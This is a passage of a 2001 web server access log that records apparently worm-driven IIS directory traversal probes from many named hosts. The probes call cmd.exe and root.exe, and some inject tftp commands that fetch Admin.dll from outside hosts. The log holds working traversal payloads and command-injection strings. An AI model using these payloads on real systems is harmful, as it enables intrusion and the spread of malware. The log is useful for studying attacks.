/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:26: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:26: [210.199.161.165] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:44: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:45: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:29:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:46: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010918 21:29:49: [210.199.161.165] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:07: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:08: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:30:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:30:09: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:30:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010918 21:30:10: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:10: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:11: emly-75.res.umass.edu [128.119.106.75] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:30:12: emly-75.res.umass.edu [128.119.106.75] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:12: emly-75.res.umass.edu [128.119.106.75] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:13: [210.199.161.165] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:31: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:31: [210.199.161.165] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:51: emly-75.res.umass.edu [128.119.106.75] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:51: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:51: emly-75.res.umass.edu [128.119.106.75] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: emly-75.res.umass.edu [128.119.106.75] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:52: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:30:53: [210.199.161.165] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:11: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:12: [210.199.161.165] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:30: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:30: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:31: [210.199.161.165] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:49: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:49: emly-75.res.umass.edu [128.119.106.75] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:31:50: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:37:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:39:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:39:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:39:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:43:42: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:45:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:50:59: www.itecnet.co.jp [210.248.209.115] "" 20010918 21:56:30: na-201-20.na.avantel.net.mx [] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:56:46: na-201-20.na.avantel.net.mx [] "GET /scripts/root.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 21:56:50: na-201-20.na.avantel.net.mx [] "GET /scripts/Admin.dll HTTP/1.0" 20010918 21:56:51: na-201-20.na.avantel.net.mx [] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:57:03: na-201-20.na.avantel.net.mx [] "GET /MSADC/root.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 21:57:07: na-201-20.na.avantel.net.mx [] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 21:57:12: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:57:13: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:57:14: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:57:18: na-201-20.na.avantel.net.mx [] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:57:30: na-201-20.na.avantel.net.mx [] "GET /c/Admin.dll HTTP/1.0" 20010918 21:57:32: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:57:34: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:57:35: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:57:37: na-201-20.na.avantel.net.mx [] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.8.8.13%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:57:38: na-201-20.na.avantel.net.mx [] "GET /d/Admin.dll HTTP/1.0" 20010918 21:57:48: na-201-20.na.avantel.net.mx [] "" 20010918 21:57:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET 